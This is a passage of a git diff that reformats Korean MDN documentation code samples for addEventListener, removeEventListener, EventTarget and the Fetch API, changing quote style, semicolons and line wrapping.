-  } else /* fullscreenerror */ {
+  } /* fullscreenerror */ else {
     /* 전체화면 오류 처리 */
   }
 }
@@ -98,15 +100,16 @@ let passiveSupported = false;
 
 try {
   const options = {
-    get passive() { // 브라우저가 passive 속성에 접근하려고 하면 이 함수가 실행됨
+    get passive() {
+      // 브라우저가 passive 속성에 접근하려고 하면 이 함수가 실행됨
       passiveSupported = true;
       return false;
-    }
+    },
   };
 
   window.addEventListener("test", null, options);
   window.removeEventListener("test", null, options);
-} catch(err) {
+} catch (err) {
   passiveSupported = false;
 }
 ```
@@ -118,8 +121,11 @@ try {
 그 후, 실제로 플래그를 사용할 땐 아래와 같이 할 수 있습니다.
 
 ```js
-someElement.addEventListener("mouseup", handleMouseUp, passiveSupported
-                               ? { passive: true } : false);
+someElement.addEventListener(
+  "mouseup",
+  handleMouseUp,
+  passiveSupported ? { passive: true } : false,
+);
 ```
 
 위 코드에서는 {domxref("Element/mouseup_event", "mouseup")}} 이벤트에 대한 수신기를 `someElement` 요소에 추가하고 있습니다. 세 번째 매개변수를 살펴보면, 만약 `passiveSupported`가 `true`일 경우 `passive`를 `true`로 지정한 옵션 객체를 지정하고 있으며, `passiveSupported`가 `false`일 경우, 세 번째 매개변수는 불리언 값이어야 할 것이므로 `useCapture`에 대한 값인 `false`를 지정하는 모습입니다.
@@ -138,8 +144,12 @@ someElement.addEventListener("mouseup", handleMouseUp, passiveSupported
 
 ```html
 <table id="outside">
-  <tr><td id="t1">one</td></tr>
-  <tr><td id="t2">two</td></tr>
+  <tr>
+    <td id="t1">one</td>
+  </tr>
+  <tr>
+    <td id="t2">two</td>
+  </tr>
 </table>
 ```
 
@@ -175,8 +185,12 @@ el.addEventListener("click", modifyText, false);
 
 ```html
 <table id="outside">
-  <tr><td id="t1">one</td></tr>
-  <tr><td id="t2">two</td></tr>
+  <tr>
+    <td id="t1">one</td>
+  </tr>
+  <tr>
+    <td id="t2">two</td>
+  </tr>
 </table>
 ```
 
@@ -186,7 +200,7 @@ el.addEventListener("click", modifyText, false);
 // 표에 중단 가능한 수신기 추가
 const controller = new AbortController();
 const el = document.getElementById("outside");
-el.addEventListener("click", modifyText, { signal: controller.signal } );
+el.addEventListener("click", modifyText, { signal: controller.signal });
 
 // t2의 콘텐츠를 바꾸는 함수
 function modifyText() {
@@ -214,8 +228,12 @@ function modifyText() {
 
 ```html
 <table id="outside">
-  <tr><td id="t1">one</td></tr>
-  <tr><td id="t2">two</td></tr>
+  <tr>
+    <td id="t1">one</td>
+  </tr>
+  <tr>
+    <td id="t2">two</td>
+  </tr>
 </table>
 ```
 
@@ -230,7 +248,13 @@ function modifyText(new_text) {
 
 // 표에 이벤트 수신기 추가
 const el = document.getElementById("outside");
-el.addEventListener("click", function(){modifyText("four")}, false);
+el.addEventListener(
+  "click",
+  function () {
+    modifyText("four");
+  },
+  false,
+);
 ```
 
 `addEventListener()` 호출을 살펴보면, 실제로 이벤트에 반응할 `modifyText()` 함수에 매개변수를 제공하는 코드가 익명 함수에 의해 캡슐화된 모습을 볼 수 있습니다.
@@ -247,8 +271,12 @@ el.addEventListener("click", function(){modifyText("four")}, false);
 
 ```html
 <table id="outside">
-  <tr><td id="t1">one</td></tr>
-  <tr><td id="t2">two</td></tr>
+  <tr>
+    <td id="t1">one</td>
+  </tr>
+  <tr>
+    <td id="t2">two</td>
+  </tr>
 </table>
 ```
 
@@ -263,7 +291,13 @@ function modifyText(new_text) {
 
 // 화살표 함수를 사용한 이벤트 수신기를 표에 추가
 const el = document.getElementById("outside");
-el.addEventListener("click", () => { modifyText("four"); }, false);
+el.addEventListener(
+  "click",
+  () => {
+    modifyText("four");
+  },
+  false,
+);
 ```
 
 #### 결과
@@ -296,85 +330,89 @@ el.addEventListener("click", () => { modifyText("four"); }, false);
 #### CSS
 
 ```css
-.outer, .middle, .inner1, .inner2 {
+.outer,
+.middle,
+.inner1,
+.inner2 {
   display: block;
-  width:   520px;
+  width: 520px;
   padding: 15px;
-  margin:  15px;
+  margin: 15px;
   text-decoration: none;
 }
 .outer {
   border: 1px solid red;
-  color:  red;
+  color: red;
 }
 .middle {
   border: 1px solid green;
-  color:  green;
-  width:  460px;
+  color: green;
+  width: 460px;
 }
-.inner1, .inner2 {
+.inner1,
+.inner2 {
   border: 1px solid purple;
-  color:  purple;
-  width:  400px;
+  color: purple;
+  width: 400px;
 }
 ```
 
 #### JavaScript
 
 ```js
-const outer  = document.querySelector('.outer');
-const middle = document.querySelector('.middle');
-const inner1 = document.querySelector('.inner1');
-const inner2 = document.querySelector('.inner2');
+const outer = document.querySelector(".outer");
+const middle = document.querySelector(".middle");
+const inner1 = document.querySelector(".inner1");
+const inner2 = document.querySelector(".inner2");
 
 const capture = {
-  capture : true
+  capture: true,
 };
 const noneCapture = {
-  capture : false
+  capture: false,
 };
 const once = {
-  once : true
+  once: true,
 };
 const noneOnce = {
-  once : false
+  once: false,
 };
 const passive = {
-  passive : true
+  passive: true,
 };
 const nonePassive = {
-  passive : false
+  passive: false,
 };
 
-outer.addEventListener('click', onceHandler, once);
-outer.addEventListener('click', noneOnceHandler, noneOnce);
-middle.addEventListener('click', captureHandler, capture);
-middle.addEventListener('click', noneCaptureHandler, noneCapture);
-inner1.addEventListener('click', passiveHandler, passive);
-inner2.addEventListener('click', nonePassiveHandler, nonePassive);
+outer.addEventListener("click", onceHandler, once);
+outer.addEventListener("click", noneOnceHandler, noneOnce);
+middle.addEventListener("click", captureHandler, capture);
+middle.addEventListener("click", noneCaptureHandler, noneCapture);
+inner1.addEventListener("click", passiveHandler, passive);
+inner2.addEventListener("click", nonePassiveHandler, nonePassive);
 
 function onceHandler(event) {
-  alert('바깥, 일회용');
+  alert("바깥, 일회용");
 }
 function noneOnceHandler(event) {
-  alert('바깥, 다회용, 기본 값');
+  alert("바깥, 다회용, 기본 값");
 }
 function captureHandler(event) {
   //event.stopImmediatePropagation();
-  alert('중간, 캡처');
+  alert("중간, 캡처");
 }
 function noneCaptureHandler(event) {
-  alert('중간, 비 캡처, 기본 값');
+  alert("중간, 비 캡처, 기본 값");
 }
 function passiveHandler(event) {
   // 패시브 수신기 내에서는 preventDefault 사용 불가
   event.preventDefault();
-  alert('내부 1, 패시브, 새 페이지 열림');
+  alert("내부 1, 패시브, 새 페이지 열림");
 }
 function nonePassiveHandler(event) {
   event.preventDefault();
   //event.stopPropagation();
-  alert('내부 2, 비 패시브, 기본 값, 새 페이지 열림');
+  alert("내부 2, 비 패시브, 기본 값, 새 페이지 열림");
 }
 ```
 
@@ -395,25 +433,26 @@ function nonePassiveHandler(event) {
 `addEventListener()`를 사용해 요소에 수신기를 부착하게 되면 수신기 내부의 {{jsxref("Operators/this", "this")}} 값은 대상 요소를 가리키게 되며, 이는 수신기가 매개변수로 받게 되는 이벤트 객체의 `currentTarget` 속성과 같습니다.
 
 ```js
-my_element.addEventListener('click', function (e) {
-  console.log(this.className)           // my_element의 className 기록
-  console.log(e.currentTarget === this) // `true` 기록
-})
+my_element.addEventListener("click", function (e) {
+  console.log(this.className); // my_element의 className 기록
+  console.log(e.currentTarget === this); // `true` 기록
+});
 ```
 
 다만 [화살표 함수는 스스로의 `this` 맥락을 가지지 않는다는 점](/ko/docs/Web/JavaScript/Reference/Functions/Arrow_functions)을 기억해야 합니다.
 
 ```js
-my_element.addEventListener('click', (e) => {
-  console.log(this.className)           // 경고: `this`가 `my_element`가 아님
-  console.log(e.currentTarget === this) // `false` 기록
-})
+my_element.addEventListener("click", (e) => {
+  console.log(this.className); // 경고: `this`가 `my_element`가 아님
+  console.log(e.currentTarget === this); // `false` 기록
+});
 ```
 
 HTML 소스 코드에서 ({{domxref("GlobalEventHandlers.onclick", "onclick")}} 특성 등을 사용해) 요소의 이벤트 수신기를 지정하는 경우, 이벤트 수신기 특성 내의 JavaScript 코드는 가상의 함수로 감싸인 후, 감싼 함수의 `this`를 `addEventListener()`와 같은 방식으로 바인딩하는 것으로 생각할 수 있습니다. 즉, 해당 특성의 값에서 등장하는 `this`는 특성이 속한 요소를 가리킵니다.
 
 ```html
-<table id="my_table" onclick="console.log(this.id);"><!-- `this`가 표를 가리키므로 'my_table'을 기록함 -->
+<table id="my_table" onclick="console.log(this.id);">
+  <!-- `this`가 표를 가리키므로 'my_table'을 기록함 -->
   ...
 </table>
 ```
@@ -422,9 +461,12 @@ HTML 소스 코드에서 ({{domxref("GlobalEventHandlers.onclick", "onclick")}}
 
 ```html
 <script>
-  function logID() { console.log(this.id); }
+  function logID() {
+    console.log(this.id);
+  }
 </script>
-<table id="my_table" onclick="logID();"><!-- 호출 시, logID의 `this`는 전역 객체를 가리키게 됨 -->
+<table id="my_table" onclick="logID();">
+  <!-- 호출 시, logID의 `this`는 전역 객체를 가리키게 됨 -->
   ...
 </table>
 ```
@@ -438,52 +480,52 @@ HTML 소스 코드에서 ({{domxref("GlobalEventHandlers.onclick", "onclick")}}
 다음은 `bind()`를 사용하는 수신기와 사용하지 않는 수신기의 모습입니다.
 
 ```js
-const Something = function(element) {
+const Something = function (element) {
   // this는 Something 인스턴스
-  this.name = 'Something Good';
-  this.onclick1 = function(event) {
+  this.name = "Something Good";
+  this.onclick1 = function (event) {
     console.log(this.name); // undefined, this는 element임
   };
 
-  this.onclick2 = function(event) {
+  this.onclick2 = function (event) {
     console.log(this.name); // 'Something Good', this는 Something 인스턴스
   };
 
   // bind가 onclick2의 this 맥락을 고정함
   this.onclick2 = this.onclick2.bind(this);
 
-  element.addEventListener('click', this.onclick1, false);
-  element.addEventListener('click', this.onclick2, false);
-}
+  element.addEventListener("click", this.onclick1, false);
+  element.addEventListener("click", this.onclick2, false);
+};
 const s = new Something(document.body);
 ```
 
 다른 방법으로는 `handleEvent()`라는 특별한 이름의 메서드를 구현해 모든 이벤트에 대응하는 것입니다.
 
 ```js
-const Something = function(element) {
+const Something = function (element) {
   // this는 Something 인스턴스
-  this.name = 'Something Good';
-  this.handleEvent = function(event) {
+  this.name = "Something Good";
+  this.handleEvent = function (event) {
     console.log(this.name); // 'Something Good', this는 Something 인스턴스로 바인딩 됨
-    switch(event.type) {
-      case 'click':
+    switch (event.type) {
+      case "click":
         // 다른 코드...
         break;
-      case 'dblclick':
+      case "dblclick":
         // 다른 코드...
         break;
     }
   };
 
   // 수신기 매개변수가 this.handleEvent가 아니라 this인 것에 주의
-  element.addEventListener('click', this, false);
-  element.addEventListener('dblclick', this, false);
+  element.addEventListener("click", this, false);
+  element.addEventListener("dblclick", this, false);
 
   // 수신기 제거도 가능
-  element.removeEventListener('click', this, false);
-  element.removeEventListener('dblclick', this, false);
-}
+  element.removeEventListener("click", this, false);
+  element.removeEventListener("dblclick", this, false);
+};
 const s = new Something(document.body);
 ```
 
@@ -491,19 +533,20 @@ const s = new Something(document.body);
 
 ```js
 class SomeClass {
-
   constructor() {
-    this.name = 'Something Good';
+    this.name = "Something Good";
   }
 
   register() {
     const that = this;
-    window.addEventListener('keydown', function(e) { that.someMethod(e); });
+    window.addEventListener("keydown", function (e) {
+      that.someMethod(e);
+    });
   }
 
   someMethod(e) {
     console.log(this.name);
-    switch(e.keyCode) {
+    switch (e.keyCode) {
       case 5:
         // 다른 코드...
         break;
@@ -512,7 +555,6 @@ class SomeClass {
         break;
     }
   }
-
 }
 
 const myObject = new SomeClass();
@@ -528,12 +570,15 @@ myObject.register();
 [위에서 언급했듯](#bind로_this_설정하기), `Function.prototype.bind()`를 사용하면 `this` 참조 변수를 통해 수신기에 값을 전달할 수 있습니다.
 
 ```js
-const myButton = document.getElementById('my-button-id');
-const someString = 'Data';
-
-myButton.addEventListener('click', function () {
-  console.log(this); // 예상 값: 'Data'
-}.bind(someString));
+const myButton = document.getElementById("my-button-id");
+const someString = "Data";
+
+myButton.addEventListener(
+  "click",
+  function () {
+    console.log(this); // 예상 값: 'Data'
+  }.bind(someString),
+);
 ```
 
 이 방법은 수신기가 발동된 대상을 알 필요가 없을 때 적합하며, 매개변수를 통해 값을 제공하는 것과 크게 다르지 않은 방법을 제공한다는 점이 장점입니다.
@@ -543,16 +588,16 @@ myButton.addEventListener('click', function () {
 바깥 스코프에서 `const`, `let`을 사용해 변수를 선언할 경우, 해당 스코프 안의 모든 함수에서도 해당 변수에 접근할 수 있습니다([함수](/ko/docs/Glossary/Function#여러_함수_형식들) 문서에서 바깥/내부 함수에 대한 정보를, [`var`](/ko/docs/Web/JavaScript/Reference/Statements/var#암묵적인_전역변수와_외부_함수_범위) 문서에서 변수 스코프에 대한 정보를 읽어보세요). 따라서, 이벤트 수신기가 바깥 데이터에 접근할 수 있는 가장 쉬운 방법은, 그 데이터를 이벤트 수신기가 선언된 스코프에서 접근할 수 있도록 하는 것입니다.
 
 ```js
-const myButton = document.getElementById('my-button-id');
-let someString = 'Data';
+const myButton = document.getElementById("my-button-id");
+let someString = "Data";
 
-myButton.addEventListener('click', function() {
-  console.log(someString);  // 예상 값: 'Data'
+myButton.addEventListener("click", function () {
+  console.log(someString); // 예상 값: 'Data'
 
-  someString = 'Data Again';
+  someString = "Data Again";
 });
 
-console.log(someString);  // 예상 값: 'Data' ('Data Again'을 출력하지 않음)
+console.log(someString); // 예상 값: 'Data' ('Data Again'을 출력하지 않음)
 ```
 
 > **참고:** 내부 스코프에서 바깥 스코프의 `const`와 `let` 변수에 접근할 수는 있지만, 수신기 내에서 변수의 값을 바꾸더라도 바깥 스코프에 그 변경점이 나타날 것으로 생각해서는 안됩니다. 이벤트 수신기가 발동하는 시점에는 이미 수신기가 속한 스코프가 실행을 마쳤을 것이기 때문입니다.
@@ -566,19 +611,19 @@ console.log(someString);  // 예상 값: 'Data' ('Data Again'을 출력하지 
 객체를 참조하는 변수가 메모리에 존재하는 한 객체 속성을 사용해 메모리에 데이터를 저장할 수 있으니, 이벤트 수신기 내부로 데이터를 전달할 때도 사용할 수 있고, 이벤트 처리기 실행이 끝난 후 변화된 데이터를 가져와야 할 때도 사용할 수 있습니다. 아래 코드를 살펴보세요.
 
 ```js
-const myButton = document.getElementById('my-button-id');
-const someObject = {aProperty: 'Data'};
+const myButton = document.getElementById("my-button-id");
+const someObject = { aProperty: "Data" };
 
-myButton.addEventListener('click', function() {
-  console.log(someObject.aProperty);   // 예상 값: 'Data'
+myButton.addEventListener("click", function () {
+  console.log(someObject.aProperty); // 예상 값: 'Data'
 
-  someObject.aProperty = 'Data Again'; // 값 변경
+  someObject.aProperty = "Data Again"; // 값 변경
 });
 
-window.setInterval(function() {
-  if (someObject.aProperty === 'Data Again') {
-    console.log('Data Again: True');
-    someObject.aProperty = 'Data'; // 다음 이벤트 실행을 기다리기 위해 값 초기화
+window.setInterval(function () {
+  if (someObject.aProperty === "Data Again") {
+    console.log("Data Again: True");
+    someObject.aProperty = "Data"; // 다음 이벤트 실행을 기다리기 위해 값 초기화
   }
 }, 5000);
 ```
@@ -592,19 +637,25 @@ window.setInterval(function() {
 ### 메모리 문제
 
 ```js
-const els = document.getElementsByTagName('*');
+const els = document.getElementsByTagName("*");
 
 // 상황 1
-for(let i=0 ; i < els.length; i++){
-  els[i].addEventListener("click", function(e){/*do something*/}, false);
+for (let i = 0; i < els.length; i++) {
+  els[i].addEventListener(
+    "click",
+    function (e) {
+      /*do something*/
+    },
+    false,
+  );
 }
 
 // 상황 2
-function processEvent(e){
+function processEvent(e) {
   /* do something */
 }
 
-for(let i=0 ; i < els.length; i++){
+for (let i = 0; i < els.length; i++) {
   els[i].addEventListener("click", processEvent, false);
 }
 ```
@@ -614,22 +665,30 @@ for(let i=0 ; i < els.length; i++){
 사실, 메모리 소비와 관련하여, 함수 참조를 유지하지 못하는 것은 중요한 문제가 아닙니다. 진짜 문제는 함수 참조를 '정적으로' 유지하지 못하는 것입니다. 이 점을 보여주는 아래의 상황 3과 상황 4에서는 함수 참조를 유지하긴 하지만, 매 반복마다 재정의됩니다. 상황 3에서는 반복할 때마다 익명 함수에 대한 참조를 재할당하고, 상황 4에서는 함수 전체 정의는 변하지 않지만 매번 마치 새로운 함수처럼 반복적으로 재정의되므로 두 상황 모두 정적이지 않습니다. 따라서 코드를 보기엔 다수의 동일한 이벤트 수신기처럼 보이지만, 사실 각 반복마다 새로운 처리기를 참조하는 새로운 이벤트 수신기를 생성하고 있는 것입니다.
 
 ```js
-const els = document.getElementsByTagName('*');
+const els = document.getElementsByTagName("*");
 
-function processEvent(e){
+function processEvent(e) {
   /* do something */
 }
 
 // 시연을 위해 [i] 대신 [j]를 사용하는 실수를 한 것에 주의하세요. 반복문 내에서 정의한 수신기를 모두 첫 요소에 등록하고 있습니다.
 
 // 상황 3
-for(let i = 0, j = 0 ; i < els.length ; i++){
-  els[j].addEventListener("click", processEvent = function(e){/* do something */}, false);
+for (let i = 0, j = 0; i < els.length; i++) {
+  els[j].addEventListener(
+    "click",
+    (processEvent = function (e) {
+      /* do something */
+    }),
+    false,
+  );
 }
 
 // 상황 4
-for(let i = 0, j = 0 ; i < els.length ; i++){
-  function processEvent(e){/* do something */};
+for (let i = 0, j = 0; i < els.length; i++) {
+  function processEvent(e) {
+    /* do something */
+  }
   els[j].addEventListener("click", processEvent, false);
 }
 ```
@@ -651,21 +710,25 @@ for(let i = 0, j = 0 ; i < els.length ; i++){
 let passiveIfSupported = false;
 
 try {
-  window.addEventListener("test", null,
-    Object.defineProperty(
-      {},
-      "passive",
-      {
-        get: function() { passiveIfSupported = { passive: true }; }
-      }
-    )
+  window.addEventListener(
+    "test",
+    null,
+    Object.defineProperty({}, "passive", {
+      get: function () {
+        passiveIfSupported = { passive: true };
+      },
+    }),
   );
-} catch(err) {}
-
-window.addEventListener('scroll', function(event) {
-  /* do something */
-  // event.preventDefault() 사용 불가
-}, passiveIfSupported );
+} catch (err) {}
+
+window.addEventListener(
+  "scroll",
+  function (event) {
+    /* do something */
+    // event.preventDefault() 사용 불가
+  },
+  passiveIfSupported,
+);
 ```
 
 `addEventListener()`가 `options` 매개변수를 지원하지 않는 구형 브라우저에서 `options` 객체를 지정하면 `useCapture` 매개변수를 사용할 수 없으므로, 위와 같이 [기능 감지](#옵션_지원을_안전하게_감지하기)를 거쳐야 합니다.
diff --git a/files/ko/web/api/eventtarget/dispatchevent/index.md b/files/ko/web/api/eventtarget/dispatchevent/index.md
index fbaf0ab6227423..bfc5d93a6daee3 100644
--- a/files/ko/web/api/eventtarget/dispatchevent/index.md
+++ b/files/ko/web/api/eventtarget/dispatchevent/index.md
@@ -16,7 +16,7 @@ slug: Web/API/EventTarget/dispatchEvent
 ## 구문
 
 ```js
-dispatchEvent(event)
+dispatchEvent(event);
 ```
 
 ### 매개변수
diff --git a/files/ko/web/api/eventtarget/eventtarget/index.md b/files/ko/web/api/eventtarget/eventtarget/index.md
index e13e72da89c2de..b24bd7ac6d26af 100644
--- a/files/ko/web/api/eventtarget/eventtarget/index.md
+++ b/files/ko/web/api/eventtarget/eventtarget/index.md
@@ -32,12 +32,14 @@ class MyEventTarget extends EventTarget {
     this._secret = mySecret;
   }
 
-  get secret() { return this._secret; }
-};
+  get secret() {
+    return this._secret;
+  }
+}
 
 let myEventTarget = new MyEventTarget(5);
-let value = myEventTarget.secret;  // == 5
-myEventTarget.addEventListener("foo", function(e) {
+let value = myEventTarget.secret; // == 5
+myEventTarget.addEventListener("foo", function (e) {
   this._secret = e.detail;
 });
 
diff --git a/files/ko/web/api/eventtarget/index.md b/files/ko/web/api/eventtarget/index.md
index 8550e400748326..1a77a0b00afff5 100644
--- a/files/ko/web/api/eventtarget/index.md
+++ b/files/ko/web/api/eventtarget/index.md
@@ -2,6 +2,7 @@
 title: EventTarget
 slug: Web/API/EventTarget
 ---
+
 {{APIRef("DOM")}}
 
 **`EventTarget`** 인터페이스는 이벤트를 수신할 수 있고, 수신한 이벤트에 대한 수신기(listener)를 가질 수 있는 객체가 구현하는 인터페이스입니다. 즉, 이벤트의 대상이 될 수 있는 객체는 `EventTarget`의 세 메서드를 구현합니다.
diff --git a/files/ko/web/api/eventtarget/removeeventlistener/index.md b/files/ko/web/api/eventtarget/removeeventlistener/index.md
index eb43c7cdda175f..b45f4ade4f7403 100644
--- a/files/ko/web/api/eventtarget/removeeventlistener/index.md
+++ b/files/ko/web/api/eventtarget/removeeventlistener/index.md
@@ -30,6 +30,7 @@ removeEventListener(type, listener, useCapture);
 - `listener`
   - : 이벤트 대상에서 제거할 수신기 {{domxref("EventListener")}} 함수입니다.
 - `options` {{optional_inline}}
+
   - : 제거할 이벤트 수신기의 특징을 나타내는 옵션 객체입니다.
 
     가능한 옵션은 다음과 같습니다.
@@ -39,7 +40,7 @@ removeEventListener(type, listener, useCapture);
 - `useCapture` {{optional_inline}}
   - : 제거할 {{domxref("EventListener")}}가 캡처링 수신기로 등록됐는지에 대한 여부를 나타내는 불리언 값입니다. 기본 값은 `false`입니다.
 
-### 반환 값.
+### 반환 값
 
 없음.
 
@@ -58,8 +59,8 @@ element.addEventListener("mousedown", handleMouseDown, true);
 이제 아래의 두 `removeEventListener()` 호출을 살펴보세요.
 
 ```js
-element.removeEventListener("mousedown", handleMouseDown, false);     // 실패
-element.removeEventListener("mousedown", handleMouseDown, true);      // 성공
+element.removeEventListener("mousedown", handleMouseDown, false); // 실패
+element.removeEventListener("mousedown", handleMouseDown, true); // 성공
 ```
 
 첫 번째 호출은 `useCapture`가 일치하지 않았기 때문에 실패하고, 두 번째 호출은 일치하기 때문에 성공합니다.
@@ -77,12 +78,12 @@ element.addEventListener("mousedown", handleMouseDown, { passive: true });
 `removeEventListener()`에 영향을 주는 옵션은 `capture` 뿐입니다.
 
 ```js
-element.removeEventListener("mousedown", handleMouseDown, { passive: true });     // 성공
-element.removeEventListener("mousedown", handleMouseDown, { capture: false });    // 성공
-element.removeEventListener("mousedown", handleMouseDown, { capture: true });     // 실패
-element.removeEventListener("mousedown", handleMouseDown, { passive: false });    // 성공
-element.removeEventListener("mousedown", handleMouseDown, false);                 // 성공
-element.removeEventListener("mousedown", handleMouseDown, true);                  // 실패
+element.removeEventListener("mousedown", handleMouseDown, { passive: true }); // 성공
+element.removeEventListener("mousedown", handleMouseDown, { capture: false }); // 성공
+element.removeEventListener("mousedown", handleMouseDown, { capture: true }); // 실패
+element.removeEventListener("mousedown", handleMouseDown, { passive: false }); // 성공
+element.removeEventListener("mousedown", handleMouseDown, false); // 성공
+element.removeEventListener("mousedown", handleMouseDown, true); // 실패
 ```
 
 다만 일부 브라우저 버전에서는 이 동작이 일관적이지 않으므로, 어쩔 수 없는 경우가 아니라면 `addEventListener()`에 지정한 옵션을 그대로 `removeEventListener()`에 제공하는 편이 낫습니다.
@@ -92,31 +93,25 @@ element.removeEventListener("mousedown", handleMouseDown, true);
 이 예제는 `click` 이벤트 수신기를 제거하는 `mouseover` 이벤트 수신기를 보입니다.
 
 ```js
-const body = document.querySelector('body')
-const clickTarget = document.getElementById('click-target')
-const mouseOverTarget = document.getElementById('mouse-over-target')
+const body = document.querySelector("body");
+const clickTarget = document.getElementById("click-target");
+const mouseOverTarget = document.getElementById("mouse-over-target");
 
 let toggle = false;
 function makeBackgroundYellow() {
   if (toggle) {
-    body.style.backgroundColor = 'white';
+    body.style.backgroundColor = "white";
   } else {
-    body.style.backgroundColor = 'yellow';
+    body.style.backgroundColor = "yellow";
   }
 
   toggle = !toggle;
 }
 
-clickTarget.addEventListener('click',
-  makeBackgroundYellow,
-  false
-);
+clickTarget.addEventListener("click", makeBackgroundYellow, false);
 
-mouseOverTarget.addEventListener('mouseover', function () {
-  clickTarget.removeEventListener('click',
-    makeBackgroundYellow,
-    false
-  );
+mouseOverTarget.addEventListener("mouseover", function () {
+  clickTarget.removeEventListener("click", makeBackgroundYellow, false);
 });
 ```
 
diff --git a/files/ko/web/api/fetch/index.md b/files/ko/web/api/fetch/index.md
index 058302e210995b..b26ec13a498dfa 100644
--- a/files/ko/web/api/fetch/index.md
+++ b/files/ko/web/api/fetch/index.md
@@ -41,9 +41,11 @@ fetch(resource, options)
   - : 요청에 적용하고자 하는 사용자 지정 설정을 포함하는 객체입니다. 사용 가능한 설정은 다음과 같습니다.
 
     - `method`
+
       - : `GET`, `POST` 등 요청 메서드입니다. 참고로 {{httpheader("Origin")}} 헤더는 {{HTTPMethod("HEAD")}}나 {{HTTPMethod("GET")}} 메서드의 Fetch 요청에는 설정되지 않습니다. (이 동작은 Firefox 65에서 수정되었습니다. [Firefox bug 1508661](https://bugzil.la/1508661)을 참조하세요.) [RFC 9110](https://www.rfc-editor.org/rfc/rfc9110#name-overview)에 정의된 메서드 중 하나와 대소문자 구분 없이 일치하는 문자열은 자동으로 대문자화됩니다. `PATCH`처럼 별도로 정의한 메서드를 사용하려면 직접 대문자로 입력해야 합니다.
 
     - `headers`
+
       - : 요청에 추가하고자 하는 헤더들입니다. {{domxref("Headers")}} 객체에 넣어 제공할 수도 있고, {{jsxref("String")}} 값들을 가진 객체 리터럴로 제공해도 됩니다. [어떤 이름들은 금지](/ko/docs/Glossary/Forbidden_header_name)된다는 점을 주의하세요.
 
         > **참고:** [`Authorization`](/ko/docs/Web/HTTP/Headers/Authorization) HTTP 헤더는 요청에 추가할 수 있지만, 요청이 다른 출처로 리다이렉트되면 제거됩니다.
@@ -53,6 +55,7 @@ fetch(resource, options)
     - `mode`
       - : 이 요청에 사용할 모드, 즉 `cors`, `no-cors`, 또는 `same-origin`입니다.
     - `credentials`
+
       - : 브라우저가 자격증명([쿠키](/ko/docs/Web/HTTP/Cookies), [HTTP 인증](/ko/docs/Web/HTTP/Authentication) 항목, TLS 클라이언트 인증서)을 어떻게 취급할지 제어합니다. 다음 중 한 문자열이어야 합니다.
 
         - `omit`
diff --git a/files/ko/web/api/fetch_api/using_fetch/index.md b/files/ko/web/api/fetch_api/using_fetch/index.md
index d6a09c472cf60e..b4b62071964dd8 100644
--- a/files/ko/web/api/fetch_api/using_fetch/index.md
+++ b/files/ko/web/api/fetch_api/using_fetch/index.md
@@ -37,25 +37,25 @@ async function logJSONData() {
 
 ```js
 // POST 메서드 구현 예제
-async function postData(url = '', data = {}) {
+async function postData(url = "", data = {}) {
   // 옵션 기본 값은 *로 강조
   const response = await fetch(url, {
-    method: 'POST', // *GET, POST, PUT, DELETE 등
-    mode: 'cors', // no-cors, *cors, same-origin
-    cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
-    credentials: 'same-origin', // include, *same-origin, omit
+    method: "POST", // *GET, POST, PUT, DELETE 등
+    mode: "cors", // no-cors, *cors, same-origin
+    cache: "no-cache", // *default, no-cache, reload, force-cache, only-if-cached
+    credentials: "same-origin", // include, *same-origin, omit
     headers: {
-      'Content-Type': 'application/json',
+      "Content-Type": "application/json",
       // 'Content-Type': 'application/x-www-form-urlencoded',
     },
-    redirect: 'follow', // manual, *follow, error
-    referrerPolicy: 'no-referrer', // no-referrer, *no-referrer-when-downgrade, origin, origin-when-cross-origin, same-origin, strict-origin, strict-origin-when-cross-origin, unsafe-url
+    redirect: "follow", // manual, *follow, error
+    referrerPolicy: "no-referrer", // no-referrer, *no-referrer-when-downgrade, origin, origin-when-cross-origin, same-origin, strict-origin, strict-origin-when-cross-origin, unsafe-url
     body: JSON.stringify(data), // body의 데이터 유형은 반드시 "Content-Type" 헤더와 일치해야 함
   });
   return response.json(); // JSON 응답을 네이티브 JavaScript 객체로 파싱
 }
 
-postData('https://example.com/answer', { answer: 42 }).then((data) => {
+postData("https://example.com/answer", { answer: 42 }).then((data) => {
   console.log(data); // JSON 데이터가 `data.json()` 호출에 의해 파싱됨
 });
 ```
@@ -99,8 +99,8 @@ abortBtn.addEventListener("click", () => {
 브라우저가 요청을 전송할 때 자격 증명을 포함하도록 하려면 `fetch()` 메서드에 전달하는 `init` 객체에 `credential: 'include'`를 추가하세요. 동일 출처와 교차 출처 요청 모두에 사용할 수 있습니다.
 
 ```js
-fetch('https://example.com', {
-  credentials: 'include',
+fetch("https://example.com", {
+  credentials: "include",
 });
 ```
 
@@ -113,16 +113,16 @@ fetch('https://example.com', {
 ```js
 // 스크립트의 출처도 'https://example.com'
 
-fetch('https://example.com', {
-  credentials: 'same-origin',
+fetch("https://example.com", {
+  credentials: "same-origin",
 });
 ```
 
 브라우저가 요청에서 자격 증명을 전송하지 않도록 하려면 `credentials: 'omit'`을 사용하세요.
 
 ```js
-fetch('https://example.com', {
-  credentials: 'omit',
+fetch("https://example.com", {
+  credentials: "omit",
 });
 ```
 
@@ -215,11 +215,11 @@ uploadMultiple(formData);
 
 ```js
 async function* makeTextFileLineIterator(fileURL) {
-  const utf8Decoder = new TextDecoder('utf-8');
+  const utf8Decoder = new TextDecoder("utf-8");
   const response = await fetch(fileURL);
   const reader = response.body.getReader();
   let { value: chunk, done: readerDone } = await reader.read();
-  chunk = chunk ? utf8Decoder.decode(chunk) : '';
+  chunk = chunk ? utf8Decoder.decode(chunk) : "";
 
   const re = /\n|\r|\r\n/gm;
   let startIndex = 0;
@@ -233,7 +233,7 @@ async function* makeTextFileLineIterator(fileURL) {
       }
       let remainder = chunk.substr(startIndex);
       ({ value: chunk, done: readerDone } = await reader.read());
-      chunk = remainder + (chunk ? utf8Decoder.decode(chunk) : '');
+      chunk = remainder + (chunk ? utf8Decoder.decode(chunk) : "");
       startIndex = re.lastIndex = 0;
       continue;
     }
@@ -319,36 +319,36 @@ const anotherRequest = new Request(myRequest, myInit);
 {{domxref("Headers")}} 인터페이스의 {{domxref("Headers.Headers", "Headers()")}} 생성자를 사용해서 자신만의 헤더 객체를 생성할 수 있습니다. 헤더 객체는 이름과 값을 연결하는 간단한 맵입니다.
 
 ```js
-const content = 'Hello World';
+const content = "Hello World";
 const myHeaders = new Headers();
-myHeaders.append('Content-Type', 'text/plain');
-myHeaders.append('Content-Length', content.length.toString());
-myHeaders.append('X-Custom-Header', 'ProcessThisImmediately');
